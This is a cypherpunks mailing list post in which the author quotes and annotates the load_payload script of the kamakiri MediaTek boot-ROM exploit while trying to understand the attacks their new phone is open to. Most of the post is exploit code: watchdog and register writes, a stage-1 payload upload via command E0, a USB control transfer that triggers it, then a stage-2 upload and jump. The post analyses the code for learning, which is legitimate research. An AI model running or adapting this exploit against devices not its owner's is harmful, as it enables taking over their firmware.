[ot][spam][personal] uhhh should I understand the exploits my new phone is vulnerable to

Undiscussed Horrific Abuse, One Victim of Many gmkarl at gmail.com
Sat May 7 01:19:22 PDT 2022


On Sat, May 7, 2022, 3:02 AM Undiscussed Horrific Abuse, One Victim of Many
<gmkarl at gmail.com> wrote:

> here's load_payload it calls at the start of the main function:
>
> #!/usr/bin/env python3
> import sys
> import time
>
> from common import Device
> from logger import log
> from functions import UserInputThread, check_modemmanager
>
> import usb.core
> import usb.util
>
> import struct
> import os
>
> def p32(x):
>     return struct.pack(">I", x)
>
> def load_payload_file(path):
>     with open(path, "rb") as fin:
>         payload = fin.read()
>     log("Load payload from {} = 0x{:X} bytes".format(path, len(payload)))
>     while len(payload) % 4 != 0:
>         payload += b"\x00"
>
>     return payload
>
> def attempt2(d):
>     d.write(b"\xE0")
>     result = d.read(1)
>     d.write(p32(0xA00))
>     result = d.read(4)
>

>     payload = load_payload_file("../brom-payload/stage1/stage1.bin")
>
>     if len(payload) >= 0xA00:
>         raise RuntimeError("payload too large")
>
>     d.write(payload)
>

attempt2() appears to be where the payload is uploaded.

it's strange the command is hardcoded here, rather than encapsulated into
the Device class, and it implies the dev published their work soon after it
functioned, without fully cleaning it up.

E0 appears to be a special command that takes a size and data. We can infer
the data is then executed somehow.


> def noop(*args, **kwargs):
>     pass
>
> def load_payload(dev):
>     log("Handshake")
>     dev.handshake()
>

This is the same handshake I was doing.

    log("Disable watchdog")
>     dev.write32(0x10007000, 0x22000000)
>

It turns out arbitrary RAM reads and writes can be made with normal
commands. These high addresses were registers, I believe.


>     thread = UserInputThread()
>     thread.start()
>
    while not thread.done:
>         dev.write32(0x10007008, 0x1971) # low-level watchdog kick
>         time.sleep(1)
>

This process is at
https://github.com/amonet-kamakiri/kamakiri/blob/master/modules/functions.py
.

It tells the user that if they have shorted their hardware, it is time to
remove the short, and waits for them to press enter to continue. The thread
is likely because the wait is done by a blocking read on stdin.


>     d = dev.dev
>
>     addr = 0x10007050
>     result = dev.read32(addr)
>     dev.write32(addr, [0xA1000]) # 00 10 0A 00
>     result = dev.read32(addr)
>

Writes to a 32 bit register.  The trailing two bytes are the length of the
payload, could be a coincidence.


>     readl = 0x24
>     result = dev.read32(addr - 0x20, readl//4)
>

Maybe debugging cruft to read registers. Or, the reading could trigger
something.


>     dev.write32(addr, 0)
>

Clears the register after writing it.


>     attempt2(d)
>

Uploads the brom payload using a normal-looking command. The upload did not
verify that the length did not underrun, which seems strange to me.

    udev = usb.core.find(idVendor=0x0e8d, idProduct=0x3)
>     udev._ctx.managed_claim_interface = noop
>
>     log("Let's rock")
>     try:
>         udev.ctrl_transfer(0xA1, 0, 0, 10, 0)
>

Okay, so it's sending control data to the USB device here. I think the
device was usb_acm?

i'm not immediately finding information on request 0xa1, if that is request
field. a next step here might be to look at the interface for ctrl_transfer
and see what the parameters are, then either check a usb log or look for
information on the mediatek usb interface.

    except usb.core.USBError as e:
>         print(e)
>
>     # clear 2 more bytes
>     d.read(2)
>

This skips 2 bytes in the serial stream. The protocol appears to sometimes
send 2 byte status confirmations.


>     log("Waiting for stage 1 to come online...")
>
>     data = d.read(4)
>     if data != b"\xA1\xA2\xA3\xA4":
>         raise RuntimeError("received {} instead of expected
> pattern".format(data))
>

This is now interfacing with the boot rom payload.

I'm guessing the purpose of these payloads is to read and write data
without checks that are present in the factory firmware, but I don't know.


>     dev.kick_watchdog()
>
>     log("All good")
>
>     log("Load 2nd stage payload")
>     stage2=load_payload_file("../brom-payload/stage2/stage2.bin")
>
>     log("Send 2nd stage payload")
>     # magic
>     d.write(p32(0xf00dd00d))
>     # cmd
>     d.write(p32(0x4000))
>     # address to write
>     d.write(p32(0x201000))
>     # length
>     d.write(p32(len(stage2)))
>     # data
>     d.write(stage2)
>
>     code = d.read(4)
>     if code != b"\xd0\xd0\xd0\xd0":
>         raise RuntimeError("device failure")
>
>     dev.kick_watchdog()
>

All it did was write the data into ram at address 0x201000 .

These functions not being encapsulated into a class possibly shows how
small and quick this part is considered, maybe not helpful information,
unsure.

    log("Party time")
>     # magic
>     d.write(p32(0xf00dd00d))
>     # cmd
>     d.write(p32(0x4001))
>     # address to write
>     d.write(p32(0x201000))
>

This jumps to the address.

It seems the reason for two payloads is that there is a size limitation on
the code used to upload the first one. The dev wanted more features than
fit within that size.


>     log("Waiting for stage 2 to come online...")
>
>     data = d.read(4)
>     if data != b"\xB1\xB2\xB3\xB4":
>         raise RuntimeError("received {} instead of expected
> pattern".format(data))
>
>     log("All good")
>
>     dev.kick_watchdog()
>

That's that.

The purpose of this code is to replace the behavior of the device with new
behavior: to provide a custom download agent for further steps to use.

It uses a command code E0 to do this, which is followed by a short control
transfer to the usb device, the nature of which I haven't identified.

It's somewhat reasonable to summarise the E0 + control transfer as a hack
that executes up to 0xa00 bytes of uploaded code.

The user interfacing implies the device may be booted with some pins
shorted to facilitate this.

This may be the kamakiri hack, but it seems worthwhile glancing in other
areas to understand better.


> if __name__ == "__main__":
>
>     check_modemmanager()
>
>     if len(sys.argv) > 1:
>         dev = Device(sys.argv[1])
>     else:
>         dev = Device()
>         dev.find_device()
>
>     load_payload(dev)
>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: text/html
Size: 15152 bytes
Desc: not available
URL: <https://lists.cpunks.org/pipermail/cypherpunks/attachments/20220507/915e06d7/attachment.txt>


More information about the cypherpunks mailing list